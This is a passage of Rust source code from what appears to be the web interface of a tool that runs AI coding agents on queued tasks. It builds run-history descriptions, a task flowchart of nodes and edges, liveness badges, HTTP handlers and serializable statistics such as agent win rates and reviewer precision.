6311the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6312
6313/// The branch a review-only run reopened, read off the instruction
6314/// `Runner::open_review` writes.
6315fn review_branch_of(instruction: &str) -> Option<&str> {
6316    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6317    rest.split('`').next().filter(|b| !b.is_empty())
6318}
6319
6320/// Where an entry sits in a task's run list.
6321#[derive(Default)]
6322struct RunSlot<'a> {
6323    /// 1-based position.
6324    n: usize,
6325    /// The same run id appeared earlier: this pass resumed it.
6326    resumed: bool,
6327    /// Position of a later pass over the same run id, if any.
6328    resumed_later: Option<usize>,
6329    /// The previous distinct run and how it ended, for the retry note.
6330    prior: Option<(&'a str, RunStatus)>,
6331    last: bool,
6332    /// This pass as the run recorded it, when it did.
6333    pass: Option<&'a crate::run::RunPass>,
6334    /// What the task recorded when it settled this pass.
6335    settled: Option<&'a crate::queue::TaskPass>,
6336    /// 1-based position among the task's entries for this run, and their count.
6337    pass_n: usize,
6338    passes_of_run: usize,
6339}
6340
6341/// Describe one entry of a task's run list. Pure: everything it needs is on
6342/// the run and the task, so it is asserted without a server.
6343fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6344    let RunSlot {
6345        n,
6346        resumed,
6347        resumed_later,
6348        prior,
6349        last,
6350        pass,
6351        settled,
6352        pass_n,
6353        passes_of_run,
6354    } = at;
6355    let short = run::short_of(id).to_owned();
6356    let Some(s) = state else {
6357        return TaskRunView {
6358            activity: None,
6359            n,
6360            id: id.to_owned(),
6361            short,
6362            kind: "unknown",
6363            status: None,
6364            readable: false,
6365            provisional: false,
6366            description:
6367                "This run's record could not be read by this build (written by a different \
6368                          magi, or removed), so what kind of attempt it was is unknown."
6369                    .to_owned(),
6370            outcome: String::new(),
6371            created_at: None,
6372            pr: None,
6373            exit: RunExit::Unreadable,
6374            attempt: AttemptCost::Unknown,
6375            exit_label: RunExit::Unreadable.edge_label(None),
6376            later_pass: resumed_later,
6377            pass_n,
6378            passes_of_run,
6379            pass: None,
6380            branch: None,
6381            badge: None,
6382        };
6383    };
6384    let branch = review_branch_of(&s.instruction);
6385    let kind = if resumed {
6386        "resume"
6387    } else if branch.is_some() {
6388        "review"
6389    } else if task.solo || s.candidates.len() == 1 {
6390        "solo"
6391    } else {
6392        "competition"
6393    };
6394    let mut description = match kind {
6395        "resume" => {
6396            format!("Resumed run {short}: the same run carried on instead of competing again.")
6397        }
6398        "review" => format!(
6399            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6400            branch.unwrap_or_default()
6401        ),
6402        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6403        _ => format!(
6404            "Competition: {} candidates judged blind.",
6405            s.candidates.len().max(1)
6406        ),
6407    };
6408    if !resumed && let Some((p, st)) = prior {
6409        description.push_str(&format!(
6410            " A retry: run {p} before it ended {}.",
6411            st.display_label()
6412        ));
6413    }
6414
6415    let status = s.status;
6416    let provisional = matches!(status, RunStatus::Stalled)
6417        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6418    let head = if resumed_later.is_some() {
6419        String::new()
6420    } else {
6421        match status {
6422            RunStatus::Merged => "Merged.".to_owned(),
6423            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6424            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6425            RunStatus::AlreadyInBase => {
6426                "Already in the base: this change landed under other commits, nothing was left to land."
6427                    .to_owned()
6428            }
6429            RunStatus::Stalled => {
6430                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6431                    .to_owned()
6432            }
6433            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6434            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6435            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6436            RunStatus::VerifiedNoop => {
6437                "Verified no-op: the candidates found nothing to change.".to_owned()
6438            }
6439            other if other.done() => format!("Ended {}.", other.display_label()),
6440            other => format!("In progress ({}).", other.display_label()),
6441        }
6442    };
6443    let view = pass.map(|p| PassView::of(p, settled));
6444    let recorded_end = view
6445        .as_ref()
6446        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6447    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6448        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6449        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6450        None => "whether its attempt was handed back was not recorded",
6451    };
6452    let pass_note = if passes_of_run > 1 {
6453        format!(
6454            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6455        )
6456    } else {
6457        String::new()
6458    };
6459    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6460        // The run recorded this pass's end when it happened.
6461        let cause = match v.end {
6462            "parked" => format!("It was stopped on purpose: {}.", v.label),
6463            _ => format!("It {}.", v.label),
6464        };
6465        format!(
6466            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6467            capitalise(cost_words)
6468        )
6469    } else if let Some(k) = resumed_later {
6470        // A run is only picked up again while it is unfinished, so an earlier
6471        // pass of a repeated id stopped short; the record keeps only the run's
6472        // latest status, which is left to the pass that carried it on.
6473        // Only the latest state is recorded: `parked` is cleared on resume
6474        // and `quota` accumulates across passes, so neither says why *this*
6475        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6476        let cause = if s.quota.is_empty() {
6477            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6478        } else {
6479            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6480        };
6481        format!(
6482            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6483        )
6484    } else if s.parked {
6485        match recorded_end.and_then(|v| v.cause.as_ref()) {
6486            Some(cause) => format!(
6487                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6488                cause.label(),
6489                cost_words
6490            ),
6491            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6492                .to_owned(),
6493        }
6494    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6495        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6496    } else if !status.done()
6497        || matches!(
6498            status,
6499            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6500        )
6501    {
6502        String::new()
6503    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6504        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6505    {
6506        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6507            .to_owned()
6508    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6509        " It left a pull request open, so the task was held for a person rather than retried."
6510            .to_owned()
6511    } else if matches!(status, RunStatus::VerifiedNoop) {
6512        " Held for a person to check the claim.".to_owned()
6513    } else if last {
6514        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6515    } else {
6516        " It spent an attempt, and the task moved on to the next run.".to_owned()
6517    };
6518    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6519    let mut attempt = exit.cost();
6520    let mut exit_label = None;
6521    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6522        let spent = match v.cost {
6523            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6524            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6525            None if resumed_later.is_some() => ", refund not recorded",
6526            None => ", attempt refunded",
6527        };
6528        attempt = match v.cost {
6529            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6530            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6531            None if resumed_later.is_some() => AttemptCost::Unknown,
6532            None => attempt,
6533        };
6534        if v.end == "parked" {
6535            exit = RunExit::Parked;
6536            exit_label = Some(match v.cause.as_ref() {
6537                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6538                    format!("parked for {}{spent}", c.label())
6539                }
6540                Some(c) => format!("parked ({}){spent}", c.label()),
6541                None => format!("parked{spent}"),
6542            });
6543        } else {
6544            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6545        }
6546    }
6547    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6548    TaskRunView {
6549        activity: None,
6550        n,
6551        id: id.to_owned(),
6552        short,
6553        kind,
6554        status: Some(status.as_str()),
6555        readable: true,
6556        provisional,
6557        description,
6558        outcome: format!("{head}{why}"),
6559        created_at: Some(s.created_at),
6560        pr: s.pr.as_ref().map(|p| p.url.clone()),
6561        exit,
6562        attempt,
6563        exit_label,
6564        later_pass: resumed_later,
6565        pass_n,
6566        passes_of_run,
6567        pass: view,
6568        branch: branch.map(str::to_owned),
6569        badge: None,
6570    }
6571}
6572
6573fn capitalise(s: &str) -> String {
6574    let mut c = s.chars();
6575    c.next().map_or_else(String::new, |f| {
6576        f.to_uppercase().collect::<String>() + c.as_str()
6577    })
6578}
6579
6580/// One box of the task's flowchart.
6581#[derive(Debug, Serialize, PartialEq)]
6582struct FlowNode {
6583    /// Unique by position: a resumed run id appears once per pass.
6584    key: String,
6585    /// `chat`, `followup`, `start`, `run` or `end`.
6586    kind: &'static str,
6587    label: String,
6588    /// Run status (or the task's, for `end`); `None` when it is not a fact
6589    /// about this box (unreadable, or a pass the run later resumed from).
6590    status: Option<&'static str>,
6591    /// Whose status `status` is, so the client picks the right colour table:
6592    /// `task` (the `followup` parent and `end`) or `run`.
6593    status_of: &'static str,
6594    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6595    note: Option<&'static str>,
6596    run_kind: Option<&'static str>,
6597    detail: Option<String>,
6598    /// A readable run with a real verdict; a stall never is.
6599    decided: bool,
6600    readable: bool,
6601    href: Option<String>,
6602    /// Overrides `status` as the badge word (`stale` / `superseded`).
6603    badge: Option<String>,
6604    /// Start of this entry, never the run's latest update or pass settlement.
6605    started_at: Option<Timestamp>,
6606    /// Context links (chat / follow-up) do not represent execution entries.
6607    time_expected: bool,
6608}
6609
6610#[derive(Debug, Serialize, PartialEq)]
6611struct FlowEdge {
6612    from: String,
6613    to: String,
6614    label: String,
6615    attempt: AttemptCost,
6616}
6617
6618#[derive(Debug, Serialize, PartialEq)]
6619struct FlowView {
6620    nodes: Vec<FlowNode>,
6621    edges: Vec<FlowEdge>,
6622    /// Attempts the task has counted since it was last released.
6623    attempts: usize,
6624    max_attempts: usize,
6625    /// Entries in the run list (passes), and how many distinct runs they are.
6626    /// Neither is the number of attempts consumed.
6627    passes: usize,
6628    runs: usize,
6629}
6630
6631/// Turn a task and its described runs into the flowchart's boxes and arrows.
6632/// Pure: the page only draws what this returns.
6633///
6634/// A follow-up opens with its parent (or the merged run) unless the task's
6635/// *source* is itself a chat, in which case the chat stays first and the
6636/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6637/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6638/// two normally do not coincide and the nearer origin wins.
6639fn task_flow(
6640    task: &Task,
6641    history: &[TaskRunView],
6642    max_attempts: usize,
6643    origin: Option<&FollowUpOrigin>,
6644) -> FlowView {
6645    let max_attempts = task.effective_attempt_limit(max_attempts);
6646    let node = |key: &str, kind, label: String| FlowNode {
6647        key: key.to_owned(),
6648        kind,
6649        label,
6650        status: None,
6651        status_of: "run",
6652        note: None,
6653        run_kind: None,
6654        detail: None,
6655        decided: false,
6656        readable: true,
6657        href: None,
6658        badge: None,
6659        started_at: None,
6660        time_expected: matches!(kind, "start" | "run" | "end"),
6661    };
6662    let mut nodes = Vec::new();
6663    let mut edges: Vec<FlowEdge> = Vec::new();
6664    // A task queued from a chat opens the flow with that conversation.
6665    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6666        let mut n = node(
6667            "chat",
6668            "chat",
6669            format!("Chat {}", crate::queue::short(&link.id)),
6670        );
6671        n.href = Some(link.href);
6672        nodes.push(n);
6673        edges.push(FlowEdge {
6674            from: "chat".to_owned(),
6675            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6676            label: "queued from chat".to_owned(),
6677            attempt: AttemptCost::None,
6678        });
6679    }
6680    if let Some(o) = origin {
6681        let mut n = match &o.parent {
6682            Some(p) => {
6683                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6684                n.status = Some(p.status);
6685                n.status_of = "task";
6686                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6687                n.href = Some(p.href.clone());
6688                n
6689            }
6690            None => {
6691                let mut n = node(
6692                    "origin",
6693                    "followup",
6694                    format!("Follow-up of run {}", o.run.short),
6695                );
6696                n.detail = Some("merged run".to_owned());
6697                n.status = o.run.status;
6698                n.href = o.run.href.clone();
6699                if o.run.href.is_none() {
6700                    n.readable = false;
6701                    n.note = Some("unreadable");
6702                }
6703                n
6704            }
6705        };
6706        n.decided = true;
6707        let from = n.key.clone();
6708        nodes.push(n);
6709        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6710        let more = o.findings.len().saturating_sub(shown.len());
6711        let label = match (shown.is_empty(), more) {
6712            (true, _) => "open findings".to_owned(),
6713            (false, 0) => format!("open findings {}", shown.join(", ")),
6714            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6715        };
6716        edges.push(FlowEdge {
6717            from,
6718            to: "start".to_owned(),
6719            label,
6720            attempt: AttemptCost::None,
6721        });
6722    }
6723    let mut start = node("start", "start", "Task queued".to_owned());
6724    start.started_at = Some(task.created_at);
6725    nodes.push(start);
6726    let mut prev = "start".to_owned();
6727    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6728    for (i, h) in history.iter().enumerate() {
6729        let key = format!("run-{}", h.n);
6730        let mut n = node(&key, "run", format!("Run {}", h.short));
6731        // Creation marks only the first pass of legacy runs. A resumed pass
6732        // without a record must not inherit the original run's start time.
6733        n.started_at = h
6734            .readable
6735            .then(|| {
6736                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6737                    h.created_at
6738                } else {
6739                    None
6740                })
6741            })
6742            .flatten();
6743        n.run_kind = Some(h.kind);
6744        n.readable = h.readable;
6745        n.href = Some(format!("#/runs/{}", h.id));
6746        n.decided = h.readable && !h.provisional;
6747        n.detail = h
6748            .branch
6749            .as_ref()
6750            .map(|b| format!("review-only run of branch {b}"));
6751        match h.exit {
6752            RunExit::Unreadable => n.note = Some("unreadable"),
6753            RunExit::Interrupted => n.note = Some("interrupted"),
6754            // An earlier pass the run recorded as parked: the status shown
6755            // would be the run's current one, not this pass's.
6756            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6757            _ => {
6758                n.status = h.status;
6759                n.badge = h.badge.clone();
6760                if h.provisional {
6761                    n.note = Some("no verdict");
6762                }
6763            }
6764        }
6765        let into = match h.kind {
6766            "review" => Some(format!(
6767                "review-only run of branch {}",
6768                h.branch.as_deref().unwrap_or("?")
6769            )),
6770            "resume" => Some("resume the same run".to_owned()),
6771            _ if i > 0 => Some("retry".to_owned()),
6772            _ => None,
6773        };
6774        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6775        let label = match (prev_exit, into) {
6776            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6777            (Some((_, l, _)), None) => l,
6778            (None, Some(i)) => i,
6779            (None, None) => "claimed".to_owned(),
6780        };
6781        edges.push(FlowEdge {
6782            from: prev.clone(),
6783            to: key.clone(),
6784            label,
6785            attempt,
6786        });
6787        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6788        prev = key;
6789        nodes.push(n);
6790    }
6791    let mut end = node("end", "end", task.status.as_str().to_owned());
6792    end.status = Some(task.status.as_str());
6793    end.status_of = "task";
6794    // Other task states do not persist their transition start. In particular,
6795    // blocked_at can change while the task remains blocked.
6796    if task.status == TaskStatus::Held {
6797        end.started_at = task.held_at;
6798    }
6799    nodes.push(end);
6800    let (label, attempt) = match prev_exit {
6801        None => (
6802            format!("no run yet \u{2192} {}", task.status.as_str()),
6803            AttemptCost::None,
6804        ),
6805        Some((e, l, cost)) if e.explains(task.status) => {
6806            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6807        }
6808        Some((_, _, cost)) => (
6809            format!("closed by hand: task is {}", task.status.as_str()),
6810            cost,
6811        ),
6812    };
6813    edges.push(FlowEdge {
6814        from: prev,
6815        to: "end".to_owned(),
6816        label,
6817        attempt,
6818    });
6819    FlowView {
6820        nodes,
6821        edges,
6822        attempts: task.attempts,
6823        max_attempts,
6824        passes: history.len(),
6825        runs: distinct_runs(&task.runs),
6826    }
6827}
6828
6829/// How many different run ids a task's run list names.
6830fn distinct_runs(runs: &[String]) -> usize {
6831    let mut seen: Vec<&str> = Vec::new();
6832    for r in runs {
6833        if !seen.contains(&r.as_str()) {
6834            seen.push(r);
6835        }
6836    }
6837    seen.len()
6838}
6839
6840/// Describe recorded task passes, retaining unrecorded legacy list entries.
6841fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6842    let mut slots = Vec::new();
6843    let mut seen = Vec::new();
6844    for run_id in &task.runs {
6845        if seen.contains(&run_id) {
6846            continue;
6847        }
6848        seen.push(run_id);
6849        let state = read(run_id);
6850        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6851            s.passes
6852                .iter()
6853                .filter(|p| {
6854                    p.task_entry
6855                        || task
6856                            .passes
6857                            .iter()
6858                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6859                })
6860                .cloned()
6861                .collect()
6862        });
6863        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6864        let total = legacy_count.max(mine.len());
6865        let offset = total - mine.len();
6866        for k in 0..total {
6867            // Legacy repeated entries retain their original positions. When
6868            // ids are unique, recorded pass times recover the resume order.
6869            let position = task
6870                .runs
6871                .iter()
6872                .enumerate()
6873                .filter(|(_, r)| *r == run_id)
6874                .nth(k.min(legacy_count - 1))
6875                .unwrap()
6876                .0;
6877            slots.push((
6878                run_id,
6879                state.clone(),
6880                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6881                position,
6882            ));
6883        }
6884    }
6885    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6886        slots.sort_by_key(|(_, state, pass, _)| {
6887            pass.as_ref()
6888                .map(|p| p.started_at)
6889                .or_else(|| state.as_ref().map(|s| s.created_at))
6890                .map_or((true, task.created_at), |at| (false, at))
6891        });
6892    } else {
6893        slots.sort_by_key(|(_, _, _, position)| *position);
6894    }
6895    let mut history = Vec::with_capacity(slots.len());
6896    let mut seen: Vec<&str> = Vec::new();
6897    let mut prior: Option<(&str, RunStatus)> = None;
6898    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6899        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6900        let resumed = k > 0;
6901        seen.push(run_id);
6902        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6903        let pass = pass.as_ref();
6904        let settled = pass.and_then(|p| {
6905            task.passes
6906                .iter()
6907                .find(|t| t.run == **run_id && t.pass_index == p.index)
6908        });
6909        history.push(task_run_view(
6910            run_id,
6911            state.as_ref(),
6912            RunSlot {
6913                n: i + 1,
6914                resumed,
6915                resumed_later: slots[i + 1..]
6916                    .iter()
6917                    .position(|(id, _, _, _)| id == run_id)
6918                    .map(|off| i + off + 2),
6919                prior,
6920                last: i + 1 == slots.len(),
6921                pass,
6922                settled,
6923                pass_n: k + 1,
6924                passes_of_run: total,
6925            },
6926            task,
6927        ));
6928        if let Some(s) = &state {
6929            prior = Some((run::short_of(run_id), s.status));
6930        }
6931    }
6932    history
6933}
6934
6935/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6936/// An earlier pass of a resumed run keeps no badge (it has no status box).
6937fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6938    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6939        return;
6940    }
6941    let (_, claimed, _) = run_row_inputs(ui);
6942    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6943    for h in history
6944        .iter_mut()
6945        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6946    {
6947        let Ok(state) = read_run(&ui.runs, &h.id) else {
6948            continue;
6949        };
6950        if state.status.done() {
6951            continue;
6952        }
6953        let live = state.liveness_with(
6954            claimed.contains(&h.id),
6955            |p| probe.borrow_mut().status(p),
6956            |p| probe.borrow_mut().started_at(p),
6957        );
6958        let waiting = !ui.questions.open_for(&h.id).is_empty();
6959        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6960        let display = run_display_status(&state, waiting, live);
6961        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6962        if matches!(word.as_str(), "stale" | "superseded")
6963            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6964        {
6965            h.badge = Some(word);
6966        }
6967    }
6968}
6969
6970async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6971    blocking(move || {
6972        let id = resolve_task(&ui.queue, &id)?;
6973        let task = ui.queue.get(&id)?;
6974        let inv = (task.status == TaskStatus::Blocked)
6975            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
6976        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
6977        let view = match inv.as_ref() {
6978            Some(inv) => TaskView::with_inventory(task, inv),
6979            None => TaskView::from(task),
6980        }
6981        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
6982        Ok(Json(view))
6983    })
6984    .await
6985}
6986
6987async fn task_detail(
6988    State(ui): State<Arc<Ui>>,
6989    Path(id): Path<String>,
6990) -> ApiResult<Json<TaskDetailView>> {
6991    blocking(move || {
6992        let id = resolve_task(&ui.queue, &id)?;
6993        let task = ui
6994            .queue
6995            .get(&id)
6996            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6997        let inv = if task.status == TaskStatus::Blocked {
6998            Some(crate::blockers::Inventory::load_for(
6999                &ui.queue,
7000                &ui.questions,
7001                &task,
7002            ))
7003        } else {
7004            None
7005        };
7006        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
7007        mark_badges(&ui, &task, &mut history);
7008        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
7009        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
7010        let origin = task.followup.as_ref().map(|fu| {
7011            followup_origin(
7012                fu,
7013                |tid| ui.queue.get(tid).ok(),
7014                |rid| read_run(&ui.runs, rid).ok(),
7015            )
7016        });
7017        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
7018        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7019        let task_view = match inv.as_ref() {
7020            Some(inv) => TaskView::with_inventory(task, inv),
7021            None => TaskView::from(task),
7022        }
7023        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home)
7024        .with_recovery_decisions(&ui.questions);
7025        Ok(Json(TaskDetailView {
7026            max_attempts,
7027            flow,
7028            followup_origin: origin,
7029            passes_total: history.len(),
7030            runs_distinct: distinct_runs(&task_view.task.runs),
7031            history,
7032            runs_unreadable,
7033            attempts_note: ATTEMPTS_NOTE,
7034            task: task_view,
7035        }))
7036    })
7037    .await
7038}
7039
7040/// A rate together with its denominator, so the client can tell "computed as
7041/// 0%" apart from "no data to compute it from" — both would otherwise
7042/// serialize as `0.0`. `None` means the denominator was zero.
7043#[derive(Debug, Serialize)]
7044struct RateView {
7045    pct: f64,
7046    denominator: usize,
7047}
7048
7049impl RateView {
7050    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7051        (denominator > 0).then(|| Self {
7052            pct: 100.0 * numerator as f64 / denominator as f64,
7053            denominator,
7054        })
7055    }
7056}
7057
7058/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7059/// rates, each paired with its own denominator via [`RateView`] rather than
7060/// exposing `Stats`' own percentage methods directly — see this module's
7061/// doc for why `Stats` itself is never serialized.
7062#[derive(Debug, Serialize)]
7063struct StatsTotalsView {
7064    runs: usize,
7065    merged: usize,
7066    ready: usize,
7067    blocked: usize,
7068    failed: usize,
7069    stalled: usize,
7070    verified_noop: usize,
7071    superseded: usize,
7072    in_progress: usize,
7073    completion_rate: Option<RateView>,
7074    tallied: usize,
7075    split: usize,
7076    split_rate: Option<RateView>,
7077    deliberated: usize,
7078    minds_changed: usize,
7079    converged: usize,
7080    review_rounds: usize,
7081}
7082
7083impl From<&stats::Totals> for StatsTotalsView {
7084    fn from(t: &stats::Totals) -> Self {
7085        Self {
7086            runs: t.runs,
7087            merged: t.merged,
7088            ready: t.ready,
7089            blocked: t.blocked,
7090            failed: t.failed,
7091            stalled: t.stalled,
7092            verified_noop: t.verified_noop,
7093            superseded: t.superseded,
7094            in_progress: t.in_progress,
7095            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7096            tallied: t.tallied,
7097            split: t.split,
7098            split_rate: RateView::of(t.split, t.tallied),
7099            deliberated: t.deliberated,
7100            minds_changed: t.minds_changed,
7101            converged: t.converged,
7102            review_rounds: t.review_rounds,
7103        }
7104    }
7105}
7106
7107/// [`crate::stats::AgentStats`] for the wire.
7108#[derive(Debug, Serialize)]
7109struct AgentStatsView {
7110    agent: String,
7111    entered: usize,
7112    wins: usize,
7113    empty: usize,
7114    win_rate: Option<RateView>,
7115    competitive_entered: usize,
7116    competitive_wins: usize,
7117    competitive_win_rate: Option<RateView>,
7118    solo_entered: usize,
7119    solo_adopted: usize,
7120    solo_adoption_rate: Option<RateView>,
7121}
7122
7123impl From<&stats::AgentStats> for AgentStatsView {
7124    fn from(a: &stats::AgentStats) -> Self {
7125        Self {
7126            agent: a.agent.clone(),
7127            entered: a.entered,
7128            wins: a.wins,
7129            empty: a.empty,
7130            win_rate: RateView::of(a.wins, a.entered),
7131            competitive_entered: a.competitive_entered,
7132            competitive_wins: a.competitive_wins,
7133            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7134            solo_entered: a.solo_entered,
7135            solo_adopted: a.solo_adopted,
7136            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7137        }
7138    }
7139}
7140
7141/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7142/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7143/// value, `None` when `rounds` is zero.
7144#[derive(Debug, Serialize)]
7145struct ReviewerStatsView {
7146    agent: String,
7147    rounds: usize,
7148    seated: usize,
7149    submitted: usize,
7150    adopted: usize,
7151    unique: usize,
7152    timeouts: usize,
7153    adopted_per_round: Option<f64>,
7154    precision: Option<RateView>,
7155    unique_rate: Option<RateView>,
7156    timeout_rate: Option<RateView>,
7157}
7158
7159impl From<&stats::ReviewerStats> for ReviewerStatsView {
7160    fn from(r: &stats::ReviewerStats) -> Self {
7161        Self {
7162            agent: r.agent.clone(),
7163            rounds: r.rounds,
7164            seated: r.seated,
7165            submitted: r.submitted,
7166            adopted: r.adopted,
7167            unique: r.unique,
7168            timeouts: r.timeouts,
7169            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7170            precision: RateView::of(r.adopted, r.submitted),
7171            unique_rate: RateView::of(r.unique, r.submitted),
7172            timeout_rate: RateView::of(r.timeouts, r.seated),
7173        }
7174    }
7175}
7176
7177/// [`crate::stats::AdvisorStats`] for the wire.
7178///
7179/// `reflection_rate` is approximate by construction — see
7180/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7181/// that caveat is static text in `index.html`, not a field here.
7182#[derive(Debug, Serialize)]
7183struct AdvisorStatsView {
7184    agent: String,
7185    seated: usize,
7186    proposed: usize,
7187    absent: usize,
7188    faint: usize,
7189    strong: usize,
7190    reflection_rate: Option<RateView>,
7191}
7192
7193impl From<&stats::AdvisorStats> for AdvisorStatsView {
7194    fn from(a: &stats::AdvisorStats) -> Self {
7195        Self {
7196            agent: a.agent.clone(),
7197            seated: a.seated,
7198            proposed: a.proposed,
7199            absent: a.absent,
7200            faint: a.faint,
7201            strong: a.strong,
7202            reflection_rate: RateView::of(a.strong, a.proposed),
7203        }
7204    }
7205}
7206
7207/// [`crate::stats::E2eStats`] for the wire.
7208#[derive(Debug, Serialize)]
7209struct E2eStatsView {
7210    rounds: usize,
7211    failures: usize,
7212    sole_detections: usize,
7213    deferred: usize,
7214    sole_rate: Option<RateView>,
7215}
7216
7217impl From<&stats::E2eStats> for E2eStatsView {
7218    fn from(e: &stats::E2eStats) -> Self {
7219        Self {
7220            rounds: e.rounds,
7221            failures: e.failures,
7222            sole_detections: e.sole_detections,
7223            deferred: e.deferred,
7224            sole_rate: RateView::of(e.sole_detections, e.failures),
7225        }
7226    }
7227}
7228
7229/// [`crate::stats::ReleaseBumpStats`] for the wire.
7230///
7231/// `clean` is sent as a raw count, computed the same way
7232/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7233/// needs_attention`) — never derived client-side from `automerge_enabled`,
7234/// which would misclassify a `merged_directly` bump (automerge rejected, but
7235/// magi merged it directly, so no human involvement) as needing attention.
7236#[derive(Debug, Serialize)]
7237struct ReleaseBumpStatsView {
7238    merged: usize,
7239    recorded: usize,
7240    pr_opened: usize,
7241    automerge_enabled: usize,
7242    merged_directly: usize,
7243    needs_attention: usize,
7244    clean: usize,
7245    coverage_rate: Option<RateView>,
7246    automerge_rate: Option<RateView>,
7247    attention_rate: Option<RateView>,
7248}
7249
7250impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7251    fn from(b: &stats::ReleaseBumpStats) -> Self {
7252        Self {
7253            merged: b.merged,
